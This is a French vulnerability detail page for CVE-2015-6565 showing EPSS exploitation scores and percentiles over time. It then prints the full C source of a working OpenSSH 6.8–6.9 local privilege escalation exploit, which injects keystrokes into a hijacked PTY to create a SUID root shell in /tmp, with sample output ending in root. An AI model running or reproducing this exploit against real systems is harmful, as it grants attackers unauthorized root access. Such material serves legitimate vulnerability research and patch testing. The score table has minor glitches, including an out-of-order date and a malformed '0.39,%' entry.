CVE-2015-6565 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	3.53%	–	–
2022-02-13	–	–	3.53%	–	–
2022-04-03	–	–	3.53%	–	–
2022-05-15	–	–	3.53%	–	–
2022-12-18	–	–	3.53%	–	–
2023-01-01	–	–	3.53%	–	–
2023-02-05	–	–	3.53%	–	–
2023-02-19	–	–	3.53%	–	–
2023-02-26	–	–	3.53%	–	–
2023-03-12	–	–	–	0.06%	–
2023-05-14	–	–	–	0.06%	–
2023-05-28	–	–	–	0.06%	–
2023-06-04	–	–	–	0.06%	–
2023-09-03	–	–	–	0.06%	–
2023-09-10	–	–	–	0.06%	–
2024-02-11	–	–	–	0.06%	–
2024-03-17	–	–	–	0.06%	–
2024-06-02	–	–	–	0.06%	–
2024-06-16	–	–	–	0.06%	–
2024-08-04	–	–	–	0.06%	–
2024-08-11	–	–	–	0.06%	–
2024-10-13	–	–	–	0.06%	–
2024-12-15	–	–	–	0.06%	–
2024-12-22	–	–	–	0.06%	–
2024-12-29	–	–	–	0.06%	–
2025-03-02	–	–	–	0.06%	–
2025-01-19	–	–	–	0.06%	–
2025-03-09	–	–	–	0.06%	–
2025-03-18	–	–	–	–	0.38%
2025-03-30	–	–	–	–	0.38%
2025-04-10	–	–	–	–	0.39%
2025-04-15	–	–	–	–	0.39%
2025-04-15	–	–	–	–	0.39,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	66%
2022-02-13	67%
2022-04-03	83%
2022-05-15	84%
2022-12-18	85%
2023-01-01	84%
2023-02-05	85%
2023-02-19	84%
2023-02-26	85%
2023-03-12	24%
2023-05-14	25%
2023-05-28	24%
2023-06-04	25%
2023-09-03	24%
2023-09-10	25%
2024-02-11	24%
2024-03-17	25%
2024-06-02	26%
2024-06-16	27%
2024-08-04	26%
2024-08-11	27%
2024-10-13	28%
2024-12-15	29%
2024-12-22	28%
2024-12-29	29%
2025-03-02	3%
2025-01-19	29%
2025-03-09	3%
2025-03-18	57%
2025-03-30	56%
2025-04-10	57%
2025-04-15	59%
2025-04-15	59%

/* * not_an_sshnuke.c * * Federico Bento * * up201407890 () alunos dcc fc up pt * https://twitter.com/uid1000 * * OpenSSH 6.8-6.9 local privilege escalation - CVE-2015-6565 * * Considered mostly to be a "DoS", turns out to be a priv esc vuln. * https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6565 * * Shoutz to Jann Horn for the detailed analysis * And also to all my elite colleagues, specially xSTF :) * * * $ gcc not_an_sshnuke.c -o not_an_sshnuke * $ ./not_an_sshnuke /dev/pts/3 * [*] Waiting for slave device /dev/pts/3 * [+] Got PTY slave /dev/pts/3 * [+] Making PTY slave the controlling terminal * [+] SUID shell at /tmp/sh * $ /tmp/sh --norc --noprofile -p * # id * euid=0(root) groups=0(root) * */ #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <unistd.h> #include <sys/ioctl.h> int main(int argc, char *argv[]) { char *cmd = "cp /bin/sh /tmp/sh; chmod u+s /tmp/sh\n"; int pid, pts = -1; if(argc != 2) { fprintf(stderr, "Usage: %s /dev/pts/X\n", argv[0]); fprintf(stderr, "Where X is next slave device to be created\n"); return 1; } if(!access(argv[1], F_OK)) { fprintf(stderr, "[-] %s device already exists\n", argv[1]); return 1; } pid = fork(); if(pid < 0) { fprintf(stderr, "[-] fork failed\n"); return 1; } if(pid == 0) { printf("[*] Waiting for slave device %s\n", argv[1]); /* win the race by opening the PTY slave before sshd's child */ while(pts == -1) pts = open(argv[1], O_WRONLY); printf("[+] Got PTY slave %s\n", argv[1]); printf("[+] Making PTY slave the controlling terminal\n"); dup2(pts, 0); dup2(pts, 1); dup2(pts, 2); setsid(); ioctl(0, TIOCSCTTY, 1); while(*cmd) ioctl(0, TIOCSTI, cmd++); } else { wait(NULL); printf("[+] SUID shell at /tmp/sh\n"); return 0; } }